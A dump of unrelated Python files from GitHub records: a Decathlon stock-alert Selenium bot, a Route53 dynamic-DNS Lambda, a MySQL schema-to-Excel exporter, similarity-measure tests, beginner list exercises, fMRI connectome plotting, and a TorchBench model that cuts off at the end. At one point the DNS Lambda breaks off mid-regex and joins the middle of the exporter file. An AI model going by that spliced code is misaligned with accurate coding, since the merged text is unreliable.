trash_metadata_filename.unlink()\n logger.debug(\"Finished extracting TRaSH metadata\")\n\n logger.debug(\"Moving TRaSH metadata files to target directory\")\n for subfile in (\n temp_dir / \"__trash-metadata__\" / state.config.buildarr.trash_metadata_dir_prefix\n ).iterdir():\n move(str(subfile), temp_dir)\n rmtree(temp_dir / \"__trash-metadata__\")\n logger.debug(\"Finished moving TRaSH metadata files to target directory\")\n\n state.trash_metadata_dir = temp_dir\n\n except Exception:\n cleanup_trash_metadata()\n raise\n\n\ndef cleanup_trash_metadata() -> None:\n \"\"\"\n Remove the TRaSH-Guides metadata temporary directory after use,\n and remove it from Buildarr global state.\n \"\"\"\n\n remove_dir(state.trash_metadata_dir)\n state.trash_metadata_dir = None # type: ignore[assignment]\n","repo_name":"buildarr/buildarr","sub_path":"buildarr/trash.py","file_name":"trash.py","file_ext":"py","file_size_in_byte":2868,"program_lang":"python","lang":"en","doc_type":"code","stars":67,"dataset":"github-code","pt":"29"} +{"seq_id":"27282480902","text":"from selenium import webdriver\nimport time\nfrom selenium.webdriver.chrome.options import Options\nfrom selenium.webdriver.common.by import By\n\ndef send_mail():\n import smtplib\n from datetime import datetime\n\n gmail_user = 'YOUR_GMAIL'\n gmail_password = 'YOUR_GENERATED_PASSWORD'\n\n sent_from = gmail_user\n to = ['MAIL_BEING_NOTIFIED']\n subject = 'Dischi Disponibili'\n body = 'https://www.decathlon.it/p/disco-ghisa-bodybuilding-28mm/_/R-p-7278?mc=1042303&c=NERO \\n\\n'\n\n email_text = \"\"\"From: %s\nTo: %s\nSubject: %s\n\n%s\n\"\"\" % (sent_from, \", \".join(to), subject, body)\n try:\n server = smtplib.SMTP_SSL('smtp.gmail.com', 465)\n server.ehlo()\n server.login(gmail_user, gmail_password)\n server.sendmail(sent_from, to, email_text)\n server.close()\n\n\n now = datetime.now()\n dt_string = now.strftime(\"%d/%m/%Y %H:%M:%S\")\n print ('Email sent!', dt_string)\n except:\n print ('Something went wrong...')\n\nprint('running...')\n\nchrome_options = Options()\nchrome_options.add_argument(\"--headless\")\ndriver = webdriver.Chrome(\"C:\\web\\chromedriver.exe\",options=chrome_options)\n\ndriver.get(\"https://www.decathlon.it/p/disco-ghisa-bodybuilding-28mm/_/R-p-7278?mc=1042303&c=NERO\")\ntime.sleep(3)\ndriver.find_element(By.CSS_SELECTOR, \".didomi-continue-without-agreeing\").click() # rifiuta cookies\n\nisp=0\ncool_down = 1800 #sec\n\nwhile True:\n\n # 5KG\n\n driver.find_element(By.CSS_SELECTOR, \".select:nth-child(4) .svg-icon\").click()\n time.sleep(1)\n #driver.find_element(By.CSS_SELECTOR, \"#option-product-size-selection-3 .stock\").click()\n driver.find_element(By.ID, \"option-product-size-selection-3\").click() # seleziona dimensione: 0 - 0.5KG; 1 - 1KG; 2 - 2KG; 3 - 5KG; 4 - 10KG; 5 - 20KG\n time.sleep(2)\n try:\n driver.find_element(By.XPATH,\"//*[@id='app']/main/article/div[1]/div[6]/section/article/div/button\").is_displayed()\n #driver.find_element(By.CSS_SELECTOR, \".cta--block\").is_displayed()\n except:\n time.sleep(120)\n else:\n send_mail()\n isp=1\n\n # 10KG\n\n driver.find_element(By.CSS_SELECTOR, \".select:nth-child(4) .svg-icon\").click()\n time.sleep(1)\n #driver.find_element(By.CSS_SELECTOR, \"#option-product-size-selection-3 .stock\").click()\n driver.find_element(By.ID, \"option-product-size-selection-4\").click() # seleziona dimensione: 0 - 0.5KG; 1 - 1KG; 2 - 2KG; 3 - 5KG; 4 - 10KG; 5 - 20KG\n time.sleep(2)\n try:\n driver.find_element(By.XPATH,\"//*[@id='app']/main/article/div[1]/div[6]/section/article/div/button\").is_displayed()\n #driver.find_element(By.CSS_SELECTOR, \".cta--block\").is_displayed()\n except:\n time.sleep(120)\n else:\n send_mail()\n isp=1\n\n if isp:\n time.sleep(cool_down)\n isp=0\n\n driver.refresh()\n time.sleep(2)\n","repo_name":"carlox97/decathlon_email_bot","sub_path":"with_sizes.py","file_name":"with_sizes.py","file_ext":"py","file_size_in_byte":2847,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"36211763817","text":"import os\nimport re\nimport boto3\nimport uuid\n\ndef update(event, context):\n subdomain = event['pathParameters']['subdomain']\n key = event['queryStringParameters']['key']\n ip = event['queryStringParameters']['ip']\n\n dynamodb = boto3.resource('dynamodb')\n table = dynamodb.Table(os.environ['TABLE_NAME'])\n entry = table.get_item(\n Key={\n 'id': subdomain\n }\n )\n if not 'Item' in entry or not entry['Item']['key'] == key:\n return { 'statusCode': '400', 'body': 'Invalid subdomain or key' }\n\n route53 = boto3.client('route53')\n route53.change_resource_record_sets(\n HostedZoneId=os.environ['ZONE_ID'],\n ChangeBatch={\n 'Changes': [\n {\n 'Action': 'UPSERT',\n 'ResourceRecordSet': {\n 'Name': subdomain + '.ibidns.com.',\n 'Type': 'A',\n 'TTL': 300,\n 'ResourceRecords': [\n {\n 'Value': ip\n }\n ]\n }\n }\n ]\n }\n )\n return { 'statusCode': '200', 'body': 'ok' }\n\ndef register(event, context):\n subdomain = event['pathParameters']['subdomain']\n # regex to match valid subdomain label\n allowed = re.compile(\"(?!-)[A-Z\\d-]{1,63}(?> content 仅仅一个sheet\n wb = openpyxl.Workbook()\n sheet = wb.active\n sheet.title = '%s数据库' % initial_info['database']\n for i in range(0, len(content)):\n for j in range(0, len(content[i])):\n sheet.cell(row=i + 1, column=j + 1, value=str(content[i][j]))\n wb.save(save_path)\n\n\nif __name__ == '__main__':\n connection = get_connection()\n cursor = connection.cursor() # 获取游标\n cursor.execute(show_tables_sql) # 查询数据库的表\n list = []\n for each in cursor.fetchall():\n tablename = each[0]\n desc_table = desc_tables_sql % (initial_info['database'], tablename)\n cursor.execute(desc_table)\n table_t = (str(tablename + \"表\"), '', '')\n list.append(table_t)\n list.append(table_head)\n for r in cursor.fetchall():\n result = (r[0],str(r[1] + ('(' + r[2] + ')' if (r[1] not in ignore_field and r[2] != '') else '')),r[3]);\n list.append(result)\n list.append(('', '', ''))\n\n try:\n write_excel( initial_info['savepath'] + initial_info['database'] + '.xls', list)\n except Exception as e:\n print(\"Reason:\", e)\n","repo_name":"kequandian/dev-cli","sub_path":"script/dicToExcel.py","file_name":"dicToExcel.py","file_ext":"py","file_size_in_byte":2623,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"29110430698","text":"import sys\r\n\r\n\r\n# Use arguments to execute different functions\r\n\r\n# Example function\r\ndef helloworld():\r\n print(\"hello from python
\")\r\n\r\n\r\nif sys.argv[1] == 'hello':\r\n helloworld()\r\n# End of example function\r\n\r\narguments = []\r\narguments.append(sys.argv)\r\nprint(arguments)\r\n","repo_name":"vipersniper0501/CP_Scripts2","sub_path":"GUIs/ScriptRunnerElectron/PythonAPI/scriptEXECUTOR.py","file_name":"scriptEXECUTOR.py","file_ext":"py","file_size_in_byte":283,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"5"} +{"seq_id":"74546498392","text":"##\n# \\file similarity_measures_test.py\n# \\brief Class containing unit tests for lossFunctions\n#\n# \\author Michael Ebner (michael.ebner.14@ucl.ac.uk)\n# \\date Sept 2017\n\nimport os\nimport numpy as np\nimport unittest\nimport sys\nimport matplotlib.pyplot as plt\nimport pysitk.python_helper as ph\n\nfrom nsol.similarity_measures import SimilarityMeasures as sim_meas\nfrom nsol.definitions import DIR_TEST\n\n\nclass SimilarityMeasuresTest(unittest.TestCase):\n\n def setUp(self):\n self.accuracy = 4\n filename = os.path.join(DIR_TEST, \"2D_BrainWeb.png\")\n self.image = np.array(ph.read_image(filename), dtype=np.float64)\n self.image_scale = self.image * 2\n self.image_off = self.image + 2\n\n self.x = self.image.flatten()\n self.x_scale = self.image_scale.flatten()\n self.x_off = self.image_off.flatten()\n\n def test_absolute_errors(self):\n diff = sim_meas.mean_absolute_error(self.x, self.x_off)\n self.assertAlmostEqual(\n diff - np.abs(self.x - self.x_off).mean(), 0, places=self.accuracy)\n\n def test_squared_errors(self):\n\n diff = sim_meas.sum_of_squared_differences(self.x, self.x_off)\n self.assertAlmostEqual(\n diff - np.sum(np.square(self.x - self.x_off)), 0,\n places=self.accuracy)\n\n diff = sim_meas.mean_squared_error(self.x, self.x_off)\n self.assertAlmostEqual(\n diff - np.square(self.x - self.x_off).mean(), 0,\n places=self.accuracy)\n\n diff = sim_meas.sum_of_squared_differences(self.x, self.x)\n self.assertEqual(np.around(\n diff, decimals=self.accuracy), 0)\n\n diff = sim_meas.sum_of_squared_differences(self.x, self.x_off)\n error = self.x.size * 4\n self.assertEqual(np.around(\n abs(diff - error), decimals=self.accuracy), 0)\n\n def test_peak_signal_to_noise_ratio(self):\n diff = sim_meas.peak_signal_to_noise_ratio(self.x, self.x)\n self.assertEqual(np.around(\n diff, decimals=self.accuracy), np.inf)\n\n def test_normalized_cross_correlation(self):\n diff = sim_meas.normalized_cross_correlation(self.x, self.x)\n self.assertEqual(np.around(\n abs(diff - 1), decimals=self.accuracy), 0)\n\n diff = sim_meas.normalized_cross_correlation(self.x, -self.x)\n self.assertEqual(np.around(\n abs(diff + 1), decimals=self.accuracy), 0)\n\n diff = sim_meas.normalized_cross_correlation(self.x, self.x_off)\n self.assertEqual(np.around(\n abs(diff - 1), decimals=self.accuracy), 0)\n\n diff = sim_meas.normalized_cross_correlation(self.x, self.x_scale)\n self.assertEqual(np.around(\n abs(diff - 1), decimals=self.accuracy), 0)\n\n def test_dice_score(self):\n\n # Create naive mask\n x_mask = np.zeros_like(self.x, dtype=bool)\n x_mask[np.where(self.x > 100)] = True\n\n # ph.show_array(x_mask.reshape(self.image.shape))\n\n dice = sim_meas.dice_score(x_mask, x_mask)\n self.assertEqual(np.around(\n abs(dice - 1), decimals=self.accuracy), 0)\n\n dice = sim_meas.dice_score(x_mask, np.zeros_like(x_mask))\n self.assertEqual(np.around(\n dice, decimals=self.accuracy), 0)\n","repo_name":"gift-surg/NSoL","sub_path":"tests/similarity_measures_test.py","file_name":"similarity_measures_test.py","file_ext":"py","file_size_in_byte":3255,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"5"} +{"seq_id":"33883639326","text":"from turtle import Turtle\nimport random\n\nCAR_COLORS = [\"dark slate gray\", \"light sky blue\", \"tomato\", \"sea green\", \"violet\"]\n\nDRIVE_STEP = 1\n\n\nclass Car(Turtle):\n def __init__(self, start_x, start_y, start_speed):\n super().__init__()\n self.color(random.choice(CAR_COLORS))\n self.penup()\n self.speed = start_speed\n self.setpos(x=start_x, y=start_y)\n self.setheading(180)\n self.shape(\"square\")\n self.shapesize(1, 3)\n\n def drive(self):\n self.forward(DRIVE_STEP * self.speed)\n\n def speed_up(self, factor=1.1):\n self.speed *= factor\n","repo_name":"JackPlayer/python-100-days","sub_path":"turtle-crossing/car.py","file_name":"car.py","file_ext":"py","file_size_in_byte":607,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"4968307562","text":"\n\n# brojevi.sort()\n# brojevi.reverse\n# print(brojevi)\n\n\n\n\n\n\n# brojevi = [9, 1, 3, 2, 5, 8, 7]\n\n# sortirani_brojevi = [1, 2, 3, 5, 7, 8, 9]\n\n# while True:\n# izvrsena_zamena = False\n# for i in range(1, len(brojevi)):\n# if brojevi[i] < brojevi[i-1]:\n# privremena = brojevi[i]\n# brojevi[i] = brojevi[i-1]\n# brojevi[i-1] = privremena\n# izvrsena_zamena = True\n# if izvrsena_zamena == False:\n# break\n# print(brojevi)\n\n\n\n# proizvod = [\"Telefon\", \"Tv\", \"Kompjuter\"]\n# cena = [100, 200, 300]\n\n# for i in range(len(proizvod)):\n# print(proizvod[i], cena[i])\n\n\n# automobili = [\"Audi\", \"BMW\", \"Yugo\", \"Citroen\", \"Kia\", \"Peugeot\"]\n# for i in range(len(automobili)):\n# if i == 5:\n# print(\"Ari vozi:\", end=\" \")\n# print(automobili[i])\n\n\nproizvodi = [[\"Iphone 11\", \"Samsung S22\", \"Xiaomi X3\"], [\"MacBook Pro\", \"Acer\", \"Dell\"], [\"Ipad\", \"Samsung Galaxy Tab\", \"Xiaomi Tab\"]]\n\ntelefoni = [\"Iphone 11\", \"Samsung S22\", \"Xiaomi X3\"]\nlaptopovi = [\"MacBook Pro\", \"Acer\", \"Dell\"]\ntableti = [\"Ipad\", \"Samsung Galaxy Tab\", \"Xiaomi Tab\"]\n\n# print(proizvodi[1][0])\n\n# for kategorija in proizvodi:\n# for x in kategorija:\n# print(x)\n\n# for i in range(len(proizvodi)):\n # print(proizvodi[i])\n # for j in range(len(proizvodi[i])):\n # print(proizvodi[i][j])\n\n\n\n# hrana = [\n# [\"Cokolada\", \"Bombone\", \"Palacinke\"],\n# [\"Sarma\", \"Musaka\", \"Kiseli kupus\"],\n# [\"Pecena paprika\", \"Ajvar\", \"Sopska\"]\n# ]\n\n# for kategorija in hrana:\n# for jelo in kategorija:\n# print(\"Naziv:\", jelo)\n # izlaz = f'''\n #
\n # {jelo}\n #
\n # '''\n\n # print(izlaz)\n# ime = \"Sofija\"\n\n# poruka = f\"Cao {ime} !!!\"\n# print(poruka)\n\n# a = 10\n# b = 15\n# sabiranje = f\"Sabiranje brojeva {a} i {b} je {a+b}\"\n# print(\"Sabiranje brojeva:\", sabiranje)\n\n\n\n\nbiblioteka = [ [ \"Uvod u python\", \"Nepoznat autor\", \"123\"], [\"Uvod u racunare\", \"Aleksandra Lazarevic\", \"321\"]]\n\nbiblioteka = []\n\nwhile True:\n\n\n print(\"Odaberi komandu: 1-unos, 2-prikaz, 3-brisanje, > 3 izlaz\")\n komanda = int(input(\"Unesite komandu: \"))\n\n\n if komanda == 1:\n naslov = input(\"Unesite naslov: \")\n autor = input(\"Unesite autora: \")\n isbn = input(\"Unesite isbn: \")\n biblioteka.append([naslov, autor, isbn])\n print(\"Dodata knjiga\")\n\n if komanda == 2:\n for knjiga in biblioteka:\n print(knjiga)\n\n\n if komanda == 3:\n kljucna_rec = input(\"Unesite naziv knjige za brisanje: \")\n for knjiga in biblioteka:\n for detalj in knjiga:\n if detalj == kljucna_rec:\n biblioteka.remove(knjiga)\n print(\"Knjiga je obrisana\")\n\n if komanda > 3:\n print(\"Izlaz\")\n break\n","repo_name":"BokiB-man/Prvi_repozitorij","sub_path":"2022-12-26/sekvence.py","file_name":"sekvence.py","file_ext":"py","file_size_in_byte":2882,"program_lang":"python","lang":"hr","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"802086675","text":"import math #importa funciones\n\nx = 10\nx = x + 5 # Forma larga\nx += 5 # Forma abreviada\nprint(x)\n\nx **= 2 # x elevado a 2\nprint (x)\n\ny = 5 // 3 # Division Entera\nprint(y)\n\nx = 3.8 # funcion round (redondear)\nprint(round(x))\nx = 3.5\nprint(round(x)) # redondea para arriba\n\nx = -3\nprint(abs(x)) #Valor absoluto","repo_name":"RodrigoSANSAL96/Agenda-Telefonica","sub_path":"numeros.py","file_name":"numeros.py","file_ext":"py","file_size_in_byte":308,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"25782685503","text":"import numpy as np\nfrom sklearn.metrics import confusion_matrix, roc_curve, roc_auc_score, precision_recall_fscore_support\nimport seaborn as sns\nimport matplotlib.pyplot as plt\nimport torch\nimport sys\nfrom nilearn import plotting\nimport itertools\nimport os\nimport pandas as pd\nimport copy\nfrom collections import defaultdict\nfrom scipy.stats import mode\nfrom sklearn.preprocessing import normalize\n\ndef get_max_weights(matrix,percentual):\n \"\"\"\n Function that returns sorted \"size\" max weights and corresponding indices from a matrix\n\n returns: indices: coords of max_weights \n weights: max_weights\n max_matrix: matrix on the shape of input matrix with max_values only \n \"\"\"\n indices = []\n weights = []\n total = np.unique(matrix)\n size = int(percentual * len(total))\n matrix_copy = copy.deepcopy(matrix)\n for n in range(size):\n max_value = np.max(matrix_copy)\n index = np.where(matrix_copy==max_value) \n weights.append(max_value)\n indices.append(index)\n matrix_copy[index] = 0 \n\n max_matrix = np.zeros([matrix.shape[0],matrix.shape[0]])\n for n,_ in enumerate(indices):\n max_matrix[indices[n][0][0],indices[n][1][0]] = weights[n]\n\n return indices, weights, max_matrix\n\ndef plot_weights_connectome(weights_mask,threshold='90%',size=500,title='',colorbar=True,type='None'):\n \n #plot connectome with atlas coords\n if os.path.isfile('data/atlas_coords.npz'):\n atlas = np.load('data/atlas_coords.npz')\n coords = atlas['data'][:]\n else:\n print(\"Coords file not found.\")\n raise FileNotFoundError()\n\n column_sum = np.sum(weights_mask,axis=1)\n column_scaled = (column_sum - column_sum.min(axis=0)) / (column_sum.max(axis=0) - column_sum.min(axis=0)) \n column_scaled = column_scaled * (size - 5) + 10\n\n triu = np.triu(weights_mask)\n #mirror upper triangle to lower in order to plot\n fill_triu = triu + triu.T - np.diag(np.diag(triu))\n\n if type == 'neg':\n edge_cmap = 'Blues'\n else:\n edge_cmap = 'red_transparent'\n\n plotting.plot_connectome(fill_triu,coords,edge_threshold=threshold,node_size=column_scaled, annotate=True,\n edge_vmin=fill_triu.min(),edge_vmax=fill_triu.max(),title=title,edge_cmap=edge_cmap,colorbar=colorbar,display_mode='lyrz')\n\n plotting.show()\n\n\ndef get_macro_matrix(matrix,csv_path='data/shen_268_parcellation_networklabels.csv',analysis='sum'):\n \"\"\"\n Function that gets nodes for each macro region. Macro matrix contains delta between number of \n positive and negative edges.\n\n returns: d: dict with nodes per region\n macro_matrix: matrix with positive edges - number negative edges\n \"\"\"\n regions = pd.read_csv(csv_path)\n nodes = regions.Node.values\n networks = regions.Network.values\n network_n = len(np.unique(networks))\n\n # Make a dict with the nodes for each macro region\n d = {}\n # Get indices of each region in networks list and retrieve nodes of those indices in nodes list \n for item in np.unique(networks): \n d[item-1] = np.where(networks==item) # node index - 1 = network index (csv nodes indexed at 1)\n\n # Create macro matrix with delta between positive and negative values in each region.\n macro_matrix = np.zeros([network_n,network_n])\n intersection = defaultdict(list)\n \n # Fill matrix\n # comb = list(itertools.combinations_with_replacement(range(network_n),2))\n comb = list(itertools.combinations_with_replacement(range(network_n),2))\n intersection = defaultdict(list)\n for item in comb:\n for pair in comb: \n a = pair[0]\n b = pair[1]\n if a == b:\n intersection_comb = list(itertools.combinations_with_replacement(d[a][0],2))\n else:\n intersection_comb = list(itertools.product(d[a][0],d[b][0]))\n\n for node0, node1 in intersection_comb: \n intersection[pair].append(matrix[node0,node1])\n\n if analysis == 'sum':\n result = np.sum(intersection[pair])\n elif analysis == 'mean':\n result = np.mean(intersection[pair])\n elif analysis == 'degree':\n result = np.count_nonzero(intersection[pair])\n\n macro_matrix[a,b] = result\n macro_matrix[b,a] = result\n\n return d, macro_matrix\n\ndef plot_macro_matrix(macro_matrix,title='',cmap='OrRd'):\n\n # cmap = sns.diverging_palette(220, 20, as_cmap=True)\n # cmap = sns.cubehelix_palette(as_cmap=True)\n\n x_labels = ['Medial Frontal','Frontoparietal', 'Default Mode', 'Subcortical-Cerebellum',\n 'Motor','Visual I','Visual II', 'Visual Association']\n y_labels = ['Medial Frontal','Frontoparietal', 'Default Mode', 'Subcortical-Cerebellum',\n 'Motor','Visual I','Visual II', 'Visual Association']\n\n tril = np.tril(macro_matrix).astype(float)\n triu_idx = np.triu_indices(macro_matrix.shape[0],1)\n triu_mask = np.zeros([macro_matrix.shape[0],macro_matrix.shape[0]], dtype=bool)\n triu_mask[triu_idx] = True\n\n fig, ax = plt.subplots(figsize=(15,10))\n ax = sns.heatmap(tril, mask=triu_mask, cmap=cmap, xticklabels=x_labels,\n yticklabels=y_labels, square=True, linewidths=.3, cbar_kws={'label': 'Sum of Weights'})\n\n ax.set_xticklabels(x_labels,rotation=16,ha='right',rotation_mode='anchor',fontsize=14)\n ax.set_yticklabels(y_labels,rotation=16,fontsize=14)\n ax.figure.axes[-1].yaxis.label.set_size(16) #set colorbar label size\n ax.figure.axes[-1].tick_params(labelsize=14)\n plt.title(title,fontsize=14)\n plt.show()\n\ndef save_adj_csv(matrix,file_path,title=''):\n\n file_name = file_path.split('/')[-1].split('.')[0]\n print(\"Creating ADJ matrix CSV for: \",file_name)\n output_csv = '/'.join(file_path.split('/')[:-1])\n pd.DataFrame(matrix).to_csv(output_csv + '/connectome_'+file_name+title+'.csv',header=False,index=False)\n\n\nif __name__ == '__main__':\n \n file_path = sys.argv[1]\n plot = False\n csv = False\n\n if len(sys.argv[2]) > 0:\n if sys.argv[2] == 'plot':\n plot = True\n elif sys.argv[2] == 'csv':\n csv = True\n\n if 'edge' in file_path:\n results_mode='edge'\n elif 'outfile' in file_path:\n results_mode='results'\n else:\n raise ValueError('Invalid analysis results_mode in argv[1] - edge or results')\n\n if 'dyslexic' in file_path:\n task = 'Dyslexia'\n elif 'reading' in file_path:\n task = 'Reading'\n\n\n train_acc = False\n if results_mode == 'results':\n file = np.load(file_path,allow_pickle=True)\n fpr = file['fpr']\n tpr = file['tpr']\n cm = file['cm']\n auc = file['auc_score']\n acc_list = file['accuracy']\n training_loss = file['training_loss']\n test_loss = file['test_loss']\n y_true = file['y_true']\n y_prediction = file['y_prediction']\n counter = file['counter']\n if 'train_accuracy' in list(file.keys()):\n train_acc_list = file['train_accuracy']\n train_acc = True\n if 'args' in list(file.keys()):\n args = file['args']\n \n precision, recall, fscore, _ = precision_recall_fscore_support(list(y_true), \n list(y_prediction),average='micro') \n \n \n if plot:\n print(\"Plotting {} anlysis for {} task.\".format(results_mode,task))\n\n ### Print Summary ###\n print(\"Results summary:\")\n print(\"Final training loss: {:.3f} | Final test loss: {:.3f}\".format(np.mean(training_loss[-1]),torch.mean(torch.Tensor(list(test_loss[-1])))))\n print(\"Final test accuracy: {:.3f} | Top test accuracy: {:.3f}\".format(acc_list[-1],acc_list.max()))\n print(\"AUC: {:.3f} | Precision: {:.3f} | Recall: {:.3f} | F-score: {:.3f}\".format(auc,precision,recall,fscore))\n print(\"Confusion Matrix:\\n\",cm)\n\n ### Plots ###\n\n # Loss\n fig, ax = plt.subplots(figsize=(10,8))\n plt.plot(range(counter),np.mean(training_loss,axis=1), label='Training loss')\n plt.plot(range(counter),np.mean(test_loss,axis=1), label='Validation loss')\n plt.title('BCE Loss',fontsize=20)\n plt.xlabel('Epochs',fontsize=20)\n plt.ylabel('Loss',fontsize=20)\n plt.legend(prop={'size': 16})\n plt.grid()\n # ax.spines[\"top\"].set_visible(False)\n # ax.spines[\"right\"].set_visible(False)\n # ax.spines[\"left\"].set_visible(False)\n # ax.spines[\"bottom\"].set_visible(False)\n plt.show()\n\n # Accuracy\n fig, ax = plt.subplots(figsize=(10,8))\n if train_acc:\n plt.plot(train_acc_list,label=\"Train accuracy\")\n plt.plot(acc_list,label='Validation accuracy')\n plt.title('Accuracy per epoch',fontsize=20)\n plt.xlabel('Epoch',fontsize=20)\n plt.ylabel('Accuracy',fontsize=20)\n plt.legend(prop={'size': 16})\n plt.grid()\n ax.spines[\"top\"].set_visible(False)\n ax.spines[\"right\"].set_visible(False)\n ax.spines[\"left\"].set_visible(False)\n ax.spines[\"bottom\"].set_visible(False)\n plt.show()\n\n # Confusion Matrix\n fig, ax = plt.subplots(figsize=(10,8)) \n sns.heatmap(cm, annot=True, ax = ax, fmt='.2g',cmap='Blues',annot_kws={\"fontsize\":18}) \n ax.set_xlabel('Predicted',fontsize=20)\n ax.set_ylabel('True',fontsize=20)\n ax.set_title('Confusion Matrix',fontsize=20)\n if task == 'Dyslexia':\n ax.xaxis.set_ticklabels(['Dyslexic', 'Control'],fontsize=18); ax.yaxis.set_ticklabels(['Dyslexic', 'Control'],fontsize=18)\n else:\n ax.xaxis.set_ticklabels(['Good', 'Bad'],fontsize=18); ax.yaxis.set_ticklabels(['Good', 'Bad'],fontsize=18)\n\n plt.show()\n \n # ROC\n fig, ax = plt.subplots(figsize=(10,8)) \n plt.plot(fpr,tpr, label='ROC curve (AUC = %0.2f)' % auc)\n plt.plot([0, 1], [0, 1], color='grey', linestyle='--')\n plt.grid()\n plt.title('ROC Curve',fontsize=20)\n plt.xlabel('False Positive Rate',fontsize=20)\n plt.ylabel('True Positive Rate',fontsize=20)\n plt.legend(prop={'size': 16})\n plt.show()\n\n\n elif results_mode == 'edge':\n edge = np.load(file_path)\n file_name = file_path.split('/')[-1].split('.')[0]\n np.fill_diagonal(edge,0)\n \n plot_weights_connectome(edge,threshold='99.9%',size=200,title='Edge Importance ' + task + ': ' + file_name + ' - Zero Clipped')\n\n\n edge_mode = mode(edge)[0][0][0] #mode is the baseline weight value\n edge_clip = edge * (edge>edge_mode)\n plot_weights_connectome(edge_clip,threshold='99.5%',size=200,title='Edge Importance ' + task + ': ' + file_name + ' - Zero Clipped')\n\n edge_norm = normalize(edge_clip, axis=1, norm='l1') \n plot_weights_connectome(edge_norm,threshold='99.5%',size=20,title='Edge Importance ' + task + ': ' + file_name + ' - Zero Clipped')\n\n\n # d_edge_clip, macro_edge_clip = get_macro_matrix(edge_clip,analysis='sum')\n # plot_macro_matrix(macro_edge_clip,title='Macro Matrix - Zero Clipped Sum - ' + task)\n\n # d_edge_clip, macro_edge_clip = get_macro_matrix(edge_clip,analysis='mean')\n # plot_macro_matrix(macro_edge_clip,title='Macro Matrix - Zero Clipped Mean - ' + task)\n\n # d_edge_clip, macro_edge_clip = get_macro_matrix(edge_clip,analysis='degree')\n # plot_macro_matrix(macro_edge_clip,title='Macro Matrix - Zero Clipped Degree - ' + task)\n\n if csv:\n #save CSV:\n save_adj_csv(edge_clip,file_path)\n","repo_name":"mzmarcon/gcn_fingerprinting","sub_path":"run_file_analysis.py","file_name":"run_file_analysis.py","file_ext":"py","file_size_in_byte":11959,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"5"} +{"seq_id":"74257394392","text":"from accelerate.utils.dataclasses import DeepSpeedPlugin\nimport torch\nimport math\nimport os\nfrom pathlib import Path\nfrom torch.nn.parallel import DistributedDataParallel as DDP\nfrom torch.distributed.fsdp import FullyShardedDataParallel as FSDP\nfrom torch.utils.data import DataLoader\nfrom torchbenchmark.util.e2emodel import E2EBenchmarkModel\nfrom torchbenchmark.tasks import NLP\nimport evaluate\nfrom accelerate import Accelerator\nfrom transformers import (\n AdamW,\n AutoConfig,\n AutoModelForSequenceClassification,\n AutoTokenizer,\n DataCollatorWithPadding,\n default_data_collator,\n get_scheduler,\n)\nfrom typing import Optional\nfrom torchbenchmark.util.framework.transformers.text_classification.dataset import prep_dataset, preprocess_dataset, prep_labels\nfrom torchbenchmark.util.framework.transformers.text_classification.args import parse_args, parse_torchbench_args\n\ntry:\n import torch._dynamo\nexcept ImportError:\n pass\n\n# setup environment variable\nCURRENT_DIR = Path(os.path.dirname(os.path.realpath(__file__)))\n\nclass Model(E2EBenchmarkModel):\n task = NLP.LANGUAGE_MODELING\n DEFAULT_TRAIN_BSIZE: int = 32\n DEFAULT_EVAL_BSIZE: int = 1\n\n def __init__(self, test, batch_size=None, extra_args=[]):\n super().__init__(test=test, batch_size=batch_size, extra_args=extra_args)\n # TODO: currently only support 1 GPU device\n self.device = \"cuda\"\n self.device_num = 1\n # Parse the extra arguments\n self.tb_args = parse_torchbench_args(self.extra_args)\n torch.manual_seed(1337)\n torch.backends.cudnn.deterministic = False\n torch.backends.cudnn.benchmark = True\n\n # Parameters\n model_name = \"bert-base-cased\"\n max_seq_length = \"128\"\n learning_rate = \"2e-5\"\n num_train_epochs = \"3\"\n max_train_steps = \"100\" # overrides num_train_epochs to run faster\n # this benchmark runs on a single GPU\n cuda_visible_devices = \"0\"\n output_dir = os.path.join(CURRENT_DIR, \".output\")\n os.environ[\"CUDA_VISIBLE_DEVICES\"] = cuda_visible_devices\n in_arg = [\"--model_name_or_path\", model_name, \"--task_name\", self.tb_args.task_name,\n \"--max_length\", max_seq_length,\n \"--per_device_train_batch_size\", str(self.batch_size), \n \"--per_device_eval_batch_size\", str(self.batch_size),\n \"--learning_rate\", learning_rate,\n \"--num_train_epochs\", num_train_epochs,\n \"--max_train_steps\", max_train_steps,\n \"--output_dir\", output_dir]\n hf_args = parse_args(in_arg)\n self.num_epochs = hf_args.num_train_epochs\n\n # ideally we don't modify the model code directly, but attaching deepspeed\n # must be done before self.prep initializes accelerator.\n if self.tb_args.distributed not in [\"deepspeed\", \"ddp\", \"fsdp\", \"none\"]:\n raise RuntimeError(f\"Unsupported distributed scheme {self.tb_args.distributed} for model hf_t5\")\n if self.tb_args.distributed == \"deepspeed\":\n zero_opt_cfg = {\n \"zero_optimization\": {\n \"stage\": 1,\n \"reduce_bucket_size\": 2e8,\n \"overlap_comm\": True,\n \"contiguous_gradients\": False\n }\n }\n hf_args.deepspeed_plugin = DeepSpeedPlugin()\n hf_args.deepspeed_plugin.deepspeed_config.update(zero_opt_cfg)\n hf_args.distributed = self.tb_args.distributed # pass in distributed config to prep as a hf_arg\n\n # setup other members\n self.prep(hf_args)\n if test == \"train\":\n self.num_examples = len(self.train_dataloader) * self.batch_size\n elif test == \"eval\":\n self.num_examples = len(self.eval_dataloader) * self.batch_size\n \n def prep(self, hf_args):\n # Initialize the accelerator. We will let the accelerator handle device placement for us in this example.\n if hf_args.distributed == \"deepspeed\":\n # Note: self.tb_args.fp16 could be renamed to better clarify its meaning\n assert self.tb_args.fp16==\"amp\", \"deepspeed is only supported with bf16/amp enabled\"\n accelerator = Accelerator(deepspeed_plugin=hf_args.deepspeed_plugin, mixed_precision='bf16')\n else:\n accelerator = Accelerator(mixed_precision='fp16' if self.tb_args.fp16=='amp' else 'no')\n accelerator.wait_for_everyone()\n raw_datasets = prep_dataset(hf_args)\n num_labels, label_list, is_regression = prep_labels(hf_args, 